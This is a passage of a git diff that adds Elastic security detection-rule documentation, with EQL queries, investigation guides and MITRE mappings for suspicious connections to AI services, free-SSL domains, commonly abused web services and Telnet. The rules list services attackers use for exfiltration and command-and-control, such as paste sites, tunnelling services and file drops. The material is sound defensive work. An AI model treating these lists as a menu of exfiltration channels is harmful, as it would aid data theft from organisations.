"api-inference.modelscope.cn", + "api.lingyiwanwu.com", + "api.360.cn", + + // Consumer-facing AI chat portals + "chat.openai.com", + "chatgpt.com", + "copilot.microsoft.com", + "bard.google.com", + "gemini.google.com", + "claude.ai", + "perplexity.ai", + "poe.com", + "chat.forefront.ai", + "chat.deepseek.com", + + // OpenClaw + "openclaw.ai" + ) and + + not process.executable : ( + "?:\\Program Files\\*.exe", + "?:\\Program Files (x86)\\*.exe", + "?:\\Windows\\System32\\svchost.exe", + "?:\\Windows\\SystemApps\\Microsoft.LockApp_*\\LockApp.exe", + "?:\\Users\\*\\AppData\\Local\\Google\\Chrome\\Application\\chrome.exe", + "?:\\Users\\*\\AppData\\Local\\BraveSoftware\\*\\Application\\brave.exe", + "?:\\Users\\*\\AppData\\Local\\Vivaldi\\Application\\vivaldi.exe", + "?:\\Users\\*\\AppData\\Local\\Programs\\Opera*\\opera.exe", + "?:\\Users\\*\\AppData\\Local\\Programs\\Fiddler\\Fiddler.exe" + ) and + not (?process.code_signature.trusted == true and + ?process.code_signature.subject_name : ("Anthropic, PBC", "Google LLC", "Mozilla Corporation", "Brave Software, Inc.", "Island Technology Inc.", "Opera Norway AS", + "OpenJS Foundation", "Developer ID Application: Node.js Foundation (HX7739G8FX)")) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Web Service +** ID: T1102 +** Reference URL: https://attack.mitre.org/techniques/T1102/ +* Sub-technique: +** Name: Bidirectional Communication +** ID: T1102.002 +** Reference URL: https://attack.mitre.org/techniques/T1102/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-connection-to-commonly-abused-free-ssl-certificate-providers.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-connection-to-commonly-abused-free-ssl-certificate-providers.asciidoc new file mode 100644 index 0000000000..69e5384e51 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-connection-to-commonly-abused-free-ssl-certificate-providers.asciidoc @@ -0,0 +1,148 @@ +[[prebuilt-rule-8-19-34-connection-to-commonly-abused-free-ssl-certificate-providers]] +=== Connection to Commonly Abused Free SSL Certificate Providers + +Identifies unusual processes connecting to domains using known free SSL certificates. Adversaries may employ a known encryption algorithm to conceal command and control traffic. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.network-* +* logs-windows.sysmon_operational-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Connection to Commonly Abused Free SSL Certificate Providers* + + +Free SSL certificates, like those from Let's Encrypt, enable secure web traffic encryption. Adversaries exploit these to mask malicious command and control (C2) communications. The detection rule identifies unusual Windows processes accessing domains with such certificates, excluding common false positives, to flag potential misuse of encrypted channels for C2 activities. + + +*Possible investigation steps* + + +- Review the process executable path to confirm if it is a native Windows process and assess the legitimacy of its network activity. Focus on paths like "C:\Windows\System32\*.exe" and "C:\Windows\SysWOW64\*.exe". +- Investigate the specific domain accessed by the process, such as those ending in "*.letsencrypt.org" or "*.sslforfree.com", to determine if it is associated with known malicious activity or if it is a legitimate service. +- Check the process name against the list of excluded false positives, ensuring it is not "svchost.exe", "MicrosoftEdge*.exe", or "msedge.exe", which are common and typically benign. +- Analyze the network traffic associated with the process to identify any unusual patterns or anomalies that could indicate command and control activity. +- Correlate the alert with other security events or logs from the same host to identify any additional indicators of compromise or related suspicious activities. + + +*False positive analysis* + + +- Windows system processes like svchost.exe and MicrosoftEdge.exe are common false positives due to their legitimate network activities. These can be excluded from the detection rule to reduce noise. +- Regularly update the list of excluded processes to include any new system processes that are verified to have legitimate reasons for accessing domains with free SSL certificates. +- Monitor and analyze network traffic patterns to identify any additional processes that consistently generate false positives, and consider adding them to the exclusion list if they are deemed non-threatening. +- Use process whitelisting to allow known safe applications that frequently access these domains, ensuring they do not trigger alerts unnecessarily. +- Implement a review process to periodically reassess the exclusion list, ensuring it remains relevant and does not inadvertently allow malicious activities to go undetected. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further malicious communication and potential lateral movement. +- Terminate any suspicious processes identified in the alert that are not typically associated with network activity, such as those running from unusual paths or with unexpected network connections. +- Conduct a thorough review of the system's recent activity logs to identify any unauthorized changes or additional indicators of compromise. +- Remove any malicious files or executables found on the system, ensuring that all remnants of the threat are eradicated. +- Restore the system from a known good backup if any critical system files or configurations have been altered. +- Update and patch the system to the latest security standards to close any vulnerabilities that may have been exploited. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sysmon-event-22-setup[Sysmon Event ID 22 - DNS Query] + + +==== Rule query + + +[source, js] +---------------------------------- +network where host.os.type == "windows" and network.protocol == "dns" and + /* Add new free SSL certificate provider domains here */ + dns.question.name : ("*letsencrypt.org", "*.sslforfree.com", "*.zerossl.com", "*.freessl.org") and + + /* Native Windows process paths that are unlikely to have network connections to domains secured using free SSL certificates */ + process.executable : ("C:\\Windows\\System32\\*.exe", + "C:\\Windows\\System\\*.exe", + "C:\\Windows\\SysWOW64\\*.exe", + "C:\\Windows\\Microsoft.NET\\Framework*\\*.exe", + "C:\\Windows\\explorer.exe", + "C:\\Windows\\notepad.exe") and + + /* Insert noisy false positives here */ + not process.name : ("svchost.exe", "MicrosoftEdge*.exe", "msedge.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Encrypted Channel +** ID: T1573 +** Reference URL: https://attack.mitre.org/techniques/T1573/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-connection-to-commonly-abused-web-services.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-connection-to-commonly-abused-web-services.asciidoc new file mode 100644 index 0000000000..e8da5df1b2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-connection-to-commonly-abused-web-services.asciidoc @@ -0,0 +1,411 @@ +[[prebuilt-rule-8-19-34-connection-to-commonly-abused-web-services]] +=== Connection to Commonly Abused Web Services + +Adversaries may implement command and control (C2) communications that use common web services to hide their activity. This attack technique is typically targeted at an organization and uses web services common to the victim network, which allows the adversary to blend into legitimate traffic activity. These popular services are typically targeted since they have most likely been used before compromise, which helps malicious traffic blend in. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/operation-bleeding-bear +* https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry +* https://specterops.io/blog/2026/01/30/weaponizing-whitelists-an-azure-blob-storage-mythic-c2-profile/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Web Service Abuse +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Resources: Osquery + +*Version*: 133 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Connection to Commonly Abused Web Services* + + +Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. + +This rule looks for processes outside known legitimate program locations communicating with a list of services that can be abused for exfiltration or command and control. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/interactive-investigation-guides.html[Investigate Markdown Plugin] introduced in Elastic Stack version 8.8.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. + - !{investigate{"label":"Alerts associated with the user in the last 48h","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - !{investigate{"label":"Alerts associated with the host in the last 48h","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.name","queryType":"phrase","value":"{{host.name}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} +- Verify whether the digital signature exists in the executable. +- Identify the operation type (upload, download, tunneling, etc.). +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - !{investigate{"label":"Investigate the Subject Process Network Events","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]]}} + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- This rule has a high chance to produce false positives because it detects communication with legitimate services. Noisy false positives can be added as exceptions. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] + + +==== Rule query + + +[source, js] +---------------------------------- +network where host.os.type == "windows" and + dns.question.name != null and process.name != null and + not (?user.id in ("S-1-5-18", "S-1-5-19", "S-1-5-20") or user.domain == "NT AUTHORITY") and + /* Add new WebSvc domains here */ + dns.question.name : + ( + "raw.githubusercontent.*", + "pastebin.*", + "paste4btc.com", + "paste.ee", + "ghostbin.com", + "drive.google.com", + "?.docs.live.net", + "api.dropboxapi.*", + "content.dropboxapi.*", + "dl.dropboxusercontent.*", + "api.onedrive.com", + "*.onedrive.org", + "onedrive.live.com", + "filebin.net", + "*.ngrok.io", + "ngrok.com", + "*.portmap.*", + "*serveo.net", + "*localtunnel.me", + "*pagekite.me", + "*localxpose.io", + "*notabug.org", + "rawcdn.githack.*", + "paste.nrecom.net", + "zerobin.net", + "controlc.com", + "requestbin.net", + "slack.com", + "api.slack.com", + "slack-redir.net", + "slack-files.com", + "cdn.discordapp.com", + "discordapp.com", + "discord.com", + "apis.azureedge.net", + "cdn.sql.gg", + "?.top4top.io", + "top4top.io", + "www.uplooder.net", + "*.cdnmegafiles.com", + "transfer.sh", + "gofile.io", + "updates.peer2profit.com", + "api.telegram.org", + "t.me", + "meacz.gq", + "rwrd.org", + "*.publicvm.com", + "*.blogspot.com", + "api.mylnikov.org", + "file.io", + "stackoverflow.com", + "*files.1drv.com", + "api.anonfile.com", + "*hosting-profi.de", + "ipbase.com", + "ipfs.io", + "*up.freeo*.space", + "api.mylnikov.org", + "script.google.com", + "script.googleusercontent.com", + "api.notion.com", + "graph.microsoft.com", + "*.sharepoint.com", + "mbasic.facebook.com", + "login.live.com", + "api.gofile.io", + "api.anonfiles.com", + "api.notion.com", + "api.trello.com", + "gist.githubusercontent.com", + "files.pythonhosted.org", + "g.live.com", + "*.zulipchat.com", + "webhook.site", + "run.mocky.io", + "mockbin.org", + "*googleapis.com", + "global.rel.tunnels.api.visualstudio.com", + "*.devtunnels.ms", + "api.github.com", + "*.blob.core.windows.net", + "*.blob.storage.azure.net", + "files.catbox.moe", + "*.supabase.co", + "*.elastic-cloud.com", + "*.cloud.es.io", + "*icp0.io") and + + /* Insert noisy false positives here */ + not ( + ( + process.executable : ( + "?:\\Program Files\\*.exe", + "?:\\Program Files (x86)\\*.exe", + "?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\*\\MsMpEng.exe", + "?:\\Users\\*\\AppData\\Local\\BraveSoftware\\*\\Application\\brave.exe", + "?:\\Users\\*\\AppData\\Local\\Google\\Chrome\\Application\\chrome.exe", + "?:\\Users\\*\\AppData\\Local\\Microsoft\\OneDrive\\OneDrive.exe", + "?:\\Users\\*\\AppData\\Local\\Programs\\Opera*\\opera.exe", + "?:\\Users\\*\\AppData\\Local\\Programs\\Fiddler\\Fiddler.exe", + "?:\\Users\\*\\AppData\\Local\\PowerToys\\PowerToys.exe", + "?:\\Users\\*\\AppData\\Local\\Vivaldi\\Application\\vivaldi.exe", + "?:\\Users\\*\\AppData\\Local\\Zen Browser\\zen.exe", + "?:\\Users\\*\\Wavesor Software\\WaveBrowser\\wavebrowser.exe", + "?:\\Windows\\System32\\MicrosoftEdgeCP.exe", + "?:\\Windows\\system32\\mobsync.exe", + "?:\\Windows\\SysWOW64\\mobsync.exe", + "?:\\Windows\\system32\\svchost.exe", + "?:\\Windows\\System32\\smartscreen.exe", + "?:\\Windows\\System32\\wsl.exe", + "?:\\Windows\\System32\\WWAHost.exe" + ) + ) or + + /* Discord App */ + (process.name : "Discord.exe" and (process.code_signature.subject_name : "Discord Inc." and + process.code_signature.trusted == true) and dns.question.name : ("discord.com", "cdn.discordapp.com", "discordapp.com") + ) or + + /* MS Sharepoint / OneDrive */ + (process.name : ("Microsoft.SharePoint.exe", "OneDrive.Sync.Service.exe") and dns.question.name : "onedrive.live.com" and + (process.code_signature.subject_name : "Microsoft Corporation" and process.code_signature.trusted == true) + ) or + + /* Obsidian - Plugins are stored on raw.githubusercontent.com */ + (process.name : "Obsidian.exe" and (process.code_signature.subject_name : "Dynalist Inc" and + process.code_signature.trusted == true) and dns.question.name : "raw.githubusercontent.com" + ) or + + /* WebExperienceHostApp */ + (process.name : "WebExperienceHostApp.exe" and (process.code_signature.subject_name : "Microsoft Windows" and + process.code_signature.trusted == true) and dns.question.name : ("onedrive.live.com", "skyapi.onedrive.live.com") + ) or + + /* IntelliJ IDEA connecting to raw.githubusercontent.com */ + (process.code_signature.subject_name : "JetBrains s.r.o." and + process.code_signature.trusted == true and dns.question.name : ("api.github.com", "raw.githubusercontent.com") + ) or + + (process.code_signature.subject_name : "Microsoft *" and process.code_signature.trusted == true and + dns.question.name : ("*.sharepoint.com", "graph.microsoft.com", "g.live.com", "login.live.com", + "*.blob.core.windows.net", "*.blob.storage.azure.net", "*.googleapis.com") + ) or + + (process.code_signature.subject_name : ("Python Software Foundation", "Anaconda, Inc.") and + process.code_signature.trusted == true and dns.question.name : "files.pythonhosted.org" + ) or + + /* Zoom */ + (process.name : "Zoom.exe" and ( + process.code_signature.subject_name : ("Zoom Video Communications, Inc.", "Zoom Communications, Inc.") and + process.code_signature.trusted == true) and dns.question.name : ("*.googleapis.com", "graph.microsoft.com", "*.blob.core.windows.net") + ) or + + /* VSCode */ + (process.name : "Code.exe" and (process.code_signature.subject_name : "Microsoft Corporation" and + process.code_signature.trusted == true) and dns.question.name : ("api.github.com", "raw.githubusercontent.com", + "*.googleapis.com", "files.pythonhosted.org") + ) or + + /* Terraform */ + (process.name : "terraform-provider*.exe" and (process.code_signature.subject_name : "HashiCorp, Inc." and + process.code_signature.trusted == true) and dns.question.name : "graph.microsoft.com" + ) or + + /* Telegram */ + (process.name : "Telegram.exe" and (process.code_signature.subject_name : "Telegram FZ-LLC" and + process.code_signature.trusted == true) and dns.question.name : "*.googleapis.com" + ) or + + ( + process.code_signature.trusted == true and + process.code_signature.subject_name : ( + "Johannes Schindelin", + "Redis Inc.", + "Slack Technologies, LLC", + "Cisco Systems, Inc.", + "Dropbox, Inc", + "Amazon.com Services LLC", + "Island Technology Inc.", + "GitHub, Inc.", + "Red Hat, Inc", + "Mozilla Corporation", + "Spotify AB", + "DeepL SE", + "Google LLC", + "Anthropic, PBC", + "OpenAI OpCo, LLC", + "Anysphere, Inc.", + "PERPLEXITY AI, INC." + ) + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Technique: +** Name: Proxy +** ID: T1090 +** Reference URL: https://attack.mitre.org/techniques/T1090/ +* Sub-technique: +** Name: External Proxy +** ID: T1090.002 +** Reference URL: https://attack.mitre.org/techniques/T1090/002/ +* Technique: +** Name: Web Service +** ID: T1102 +** Reference URL: https://attack.mitre.org/techniques/T1102/ +* Sub-technique: +** Name: Dead Drop Resolver +** ID: T1102.001 +** Reference URL: https://attack.mitre.org/techniques/T1102/001/ +* Sub-technique: +** Name: Bidirectional Communication +** ID: T1102.002 +** Reference URL: https://attack.mitre.org/techniques/T1102/002/ +* Technique: +** Name: Dynamic Resolution +** ID: T1568 +** Reference URL: https://attack.mitre.org/techniques/T1568/ +* Sub-technique: +** Name: Domain Generation Algorithms +** ID: T1568.002 +** Reference URL: https://attack.mitre.org/techniques/T1568/002/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Sub-technique: +** Name: Exfiltration to Code Repository +** ID: T1567.001 +** Reference URL: https://attack.mitre.org/techniques/T1567/001/ +* Sub-technique: +** Name: Exfiltration to Cloud Storage +** ID: T1567.002 +** Reference URL: https://attack.mitre.org/techniques/T1567/002/ +* Sub-technique: +** Name: Exfiltration to Text Storage Sites +** ID: T1567.003 +** Reference URL: https://attack.mitre.org/techniques/T1567/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-connection-to-external-network-via-telnet.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-connection-to-external-network-via-telnet.asciidoc new file mode 100644 index 0000000000..6833e40351 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-connection-to-external-network-via-telnet.asciidoc @@ -0,0 +1,187 @@ +[[prebuilt-rule-8-19-34-connection-to-external-network-via-telnet]] +=== Connection to External Network via Telnet + +Telnet provides a command line interface for communication with a remote device or server. This rule identifies Telnet network connections to publicly routable IP addresses. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Connection to External Network via Telnet* + + +Telnet is a protocol offering a command-line interface for remote communication, often used for device management. However, its lack of encryption makes it vulnerable to interception, allowing adversaries to exploit it for unauthorized access or data exfiltration. The detection rule identifies Telnet connections to external IPs, flagging potential lateral movement by excluding known internal and reserved IP ranges. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific process.entity_id and destination IP address involved in the Telnet connection. +- Verify the legitimacy of the destination IP address by checking if it belongs to a known or trusted external entity, using threat intelligence sources or IP reputation services. +- Investigate the process details associated with the process.entity_id to determine the user account and command line arguments used during the Telnet session. +- Check the system logs and user activity on the host to identify any unusual behavior or unauthorized access attempts around the time of the Telnet connection. +- Assess whether the Telnet connection aligns with expected business operations or if it indicates potential lateral movement or data exfiltration attempts. + + +*False positive analysis* + + +- Internal device management using Telnet may trigger false positives if the destination IPs are not included in the known internal ranges. Users should verify and update the list of internal IP ranges to include any additional internal networks used for legitimate Telnet connections. +- Automated scripts or monitoring tools that use Telnet for legitimate purposes can cause false positives. Identify these scripts and consider creating exceptions for their specific IP addresses or process names to prevent unnecessary alerts. +- Testing environments that simulate external connections for development purposes might be flagged. Ensure that IP addresses used in these environments are documented and excluded from the detection rule to avoid false positives. +- Legacy systems that rely on Telnet for communication with external partners or services may be mistakenly flagged. Review these systems and, if deemed secure, add their IP addresses to an exception list to reduce false alerts. +- Misconfigured network devices that inadvertently use Telnet for external communication can trigger alerts. Regularly audit network configurations and update the detection rule to exclude known benign IPs associated with these devices. + + +*Response and remediation* + + +- Immediately isolate the affected Linux host from the network to prevent further unauthorized access or data exfiltration. +- Terminate any active Telnet sessions on the affected host to stop ongoing malicious activity. +- Conduct a thorough review of the affected system's logs and processes to identify any unauthorized changes or additional compromised accounts. +- Change all passwords associated with the affected system and any other systems that may have been accessed using Telnet. +- Apply security patches and updates to the affected system to address any vulnerabilities that may have been exploited. +- Implement network segmentation to limit Telnet access to only necessary internal systems and block Telnet traffic to external networks. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start") and process.name == "telnet"] + [network where host.os.type == "linux" and process.name == "telnet" and not cidrmatch( + destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29", + "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", + "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", + "192.175.48.0/24", "198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10", + "FF00::/8" + ) + ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-connection-to-internal-network-via-telnet.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-connection-to-internal-network-via-telnet.asciidoc new file mode 100644 index 0000000000..e5118964af --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-connection-to-internal-network-via-telnet.asciidoc @@ -0,0 +1,180 @@ +[[prebuilt-rule-8-19-34-connection-to-internal-network-via-telnet]] +=== Connection to Internal Network via Telnet + +Telnet provides a command line interface for communication with a remote device or server. This rule identifies Telnet network connections to non-publicly routable IP addresses. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network* +* logs-endpoint.events.process* +* 